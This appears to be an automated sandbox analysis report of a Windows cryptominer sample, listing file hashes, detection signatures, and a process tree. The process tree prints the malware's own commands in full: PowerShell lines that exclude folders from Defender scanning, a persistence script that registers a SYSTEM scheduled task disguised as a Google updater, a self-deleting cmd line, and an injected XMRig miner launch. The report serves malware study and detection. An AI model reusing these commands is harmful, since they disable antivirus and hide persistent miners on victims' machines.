Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
311s -
max time network
1805s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
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Target
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
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Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
JqLvG94UkYjhxAeg.exeupdater.execonhost.exedescription pid process target process PID 1740 created 1260 1740 JqLvG94UkYjhxAeg.exe Explorer.EXE PID 1740 created 1260 1740 JqLvG94UkYjhxAeg.exe Explorer.EXE PID 1740 created 1260 1740 JqLvG94UkYjhxAeg.exe Explorer.EXE PID 1740 created 1260 1740 JqLvG94UkYjhxAeg.exe Explorer.EXE PID 2956 created 1260 2956 updater.exe Explorer.EXE PID 2956 created 1260 2956 updater.exe Explorer.EXE PID 2956 created 1260 2956 updater.exe Explorer.EXE PID 2956 created 1260 2956 updater.exe Explorer.EXE PID 2876 created 1260 2876 conhost.exe Explorer.EXE PID 2956 created 1260 2956 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral15/memory/2064-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/2064-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2604 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2956 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2960 taskeng.exe -
Processes:
resource yara_rule behavioral15/memory/2064-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/2064-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2956 set thread context of 2876 2956 updater.exe conhost.exe PID 2956 set thread context of 2064 2956 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
JqLvG94UkYjhxAeg.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe JqLvG94UkYjhxAeg.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1700 schtasks.exe 472 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 9085aac5864eda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
JqLvG94UkYjhxAeg.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1740 JqLvG94UkYjhxAeg.exe 1740 JqLvG94UkYjhxAeg.exe 2252 powershell.exe 1740 JqLvG94UkYjhxAeg.exe 1740 JqLvG94UkYjhxAeg.exe 2264 powershell.exe 1740 JqLvG94UkYjhxAeg.exe 1740 JqLvG94UkYjhxAeg.exe 1740 JqLvG94UkYjhxAeg.exe 1740 JqLvG94UkYjhxAeg.exe 2596 powershell.exe 2956 updater.exe 2956 updater.exe 2036 powershell.exe 2956 updater.exe 2956 updater.exe 1908 powershell.exe 2956 updater.exe 2956 updater.exe 2956 updater.exe 2956 updater.exe 2876 conhost.exe 2876 conhost.exe 2956 updater.exe 2956 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2252 powershell.exe Token: SeDebugPrivilege 2264 powershell.exe Token: SeDebugPrivilege 2596 powershell.exe Token: SeDebugPrivilege 2036 powershell.exe Token: SeDebugPrivilege 1908 powershell.exe Token: SeDebugPrivilege 2956 updater.exe Token: SeAssignPrimaryTokenPrivilege 1912 WMIC.exe Token: SeIncreaseQuotaPrivilege 1912 WMIC.exe Token: SeSecurityPrivilege 1912 WMIC.exe Token: SeTakeOwnershipPrivilege 1912 WMIC.exe Token: SeLoadDriverPrivilege 1912 WMIC.exe Token: SeSystemtimePrivilege 1912 WMIC.exe Token: SeBackupPrivilege 1912 WMIC.exe Token: SeRestorePrivilege 1912 WMIC.exe Token: SeShutdownPrivilege 1912 WMIC.exe Token: SeSystemEnvironmentPrivilege 1912 WMIC.exe Token: SeUndockPrivilege 1912 WMIC.exe Token: SeManageVolumePrivilege 1912 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1912 WMIC.exe Token: SeIncreaseQuotaPrivilege 1912 WMIC.exe Token: SeSecurityPrivilege 1912 WMIC.exe Token: SeTakeOwnershipPrivilege 1912 WMIC.exe Token: SeLoadDriverPrivilege 1912 WMIC.exe Token: SeSystemtimePrivilege 1912 WMIC.exe Token: SeBackupPrivilege 1912 WMIC.exe Token: SeRestorePrivilege 1912 WMIC.exe Token: SeShutdownPrivilege 1912 WMIC.exe Token: SeSystemEnvironmentPrivilege 1912 WMIC.exe Token: SeUndockPrivilege 1912 WMIC.exe Token: SeManageVolumePrivilege 1912 WMIC.exe Token: SeLockMemoryPrivilege 2064 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2264 wrote to memory of 1700 2264 powershell.exe schtasks.exe PID 2264 wrote to memory of 1700 2264 powershell.exe schtasks.exe PID 2264 wrote to memory of 1700 2264 powershell.exe schtasks.exe PID 2604 wrote to memory of 1240 2604 cmd.exe choice.exe PID 2604 wrote to memory of 1240 2604 cmd.exe choice.exe PID 2604 wrote to memory of 1240 2604 cmd.exe choice.exe PID 2596 wrote to memory of 2928 2596 powershell.exe schtasks.exe PID 2596 wrote to memory of 2928 2596 powershell.exe schtasks.exe PID 2596 wrote to memory of 2928 2596 powershell.exe schtasks.exe PID 2960 wrote to memory of 2956 2960 taskeng.exe updater.exe PID 2960 wrote to memory of 2956 2960 taskeng.exe updater.exe PID 2960 wrote to memory of 2956 2960 taskeng.exe updater.exe PID 1908 wrote to memory of 472 1908 powershell.exe schtasks.exe PID 1908 wrote to memory of 472 1908 powershell.exe schtasks.exe PID 1908 wrote to memory of 472 1908 powershell.exe schtasks.exe PID 2956 wrote to memory of 2876 2956 updater.exe conhost.exe PID 1180 wrote to memory of 1912 1180 cmd.exe WMIC.exe PID 1180 wrote to memory of 1912 1180 cmd.exe WMIC.exe PID 1180 wrote to memory of 1912 1180 cmd.exe WMIC.exe PID 2956 wrote to memory of 2064 2956 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1260
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2252
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1700
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1240
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2928
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:472
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1104
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1912
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2876
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2064
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C:\Windows\system32\taskeng.exetaskeng.exe {7DE55AE3-9FE6-4D74-8204-2BA9E605BE85} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
561KB
MD5ddbfbd3b9460bd3b48bafd12b4619dd2
SHA1634b8170267b09046cf215e5b20bbb4428edf331
SHA256af32065792f0ffe9f862d25ce6ac326af8036e68b466e9279275d225b00b91a7
SHA512c308127d2cff60a47994e3c480f2bc2bf836290d789b9b6a34088872f1814180d0ade21cdb4cd75207dbc7feaf19b46d7bba63ec81afaf9c75fcd48d4d4c4d40
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Filesize
734KB
MD54ef059ab78a49f4f3ac78867c717bf9c
SHA1df567b78702fdf4fbb08e308185b752261e65e4c
SHA256c71dbf02a045122b754a8e2848f16c4d6f94d1f3888dc146b55aa73649403c0f
SHA5125ff4ffab36d87a82d199b487623c8c0861391bfe2ed636e5b063c2a8fd62455112840d9503a765119d79e3c4a2b0d4c1b45b7f7236f9673275169db23571dd50
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GOR5T7S1RWM0JI30DRR1.temp
Filesize7KB
MD50deea45089b01f201820126016e208bb
SHA1b81800c8f24ea3d0e1a28d6bc1f0f9f14d800d3f
SHA256dc194c7d9462296eadc10ea8218a7c4e3a6f0027bd2d71d75caaa3e44297058a
SHA512457623333ec3a4e36322e8a07ac266a2a3d0fb9a670902c2ddd348d88fad017751b924637f6bcb8127050dd7cfa5604b7a4548941e206652d666976ec1da6c64
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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Filesize
430KB
MD533a5d49d31729028f9601a7d460e2747
SHA15e6bc73616bb00375aa00a779c307c3b853cd1e3
SHA25667ebff891d54ae6635c2217c06ec38a1b133ca4138066afc222eb3526fa77ccb
SHA512e8df0e366cc5b05f93e62f7de359f3661dbf7ec1ca09f2572f5f6333fba0f0743fbaa3efeac07177d26db071236b569c81a850c058110098a9487a63574ab19c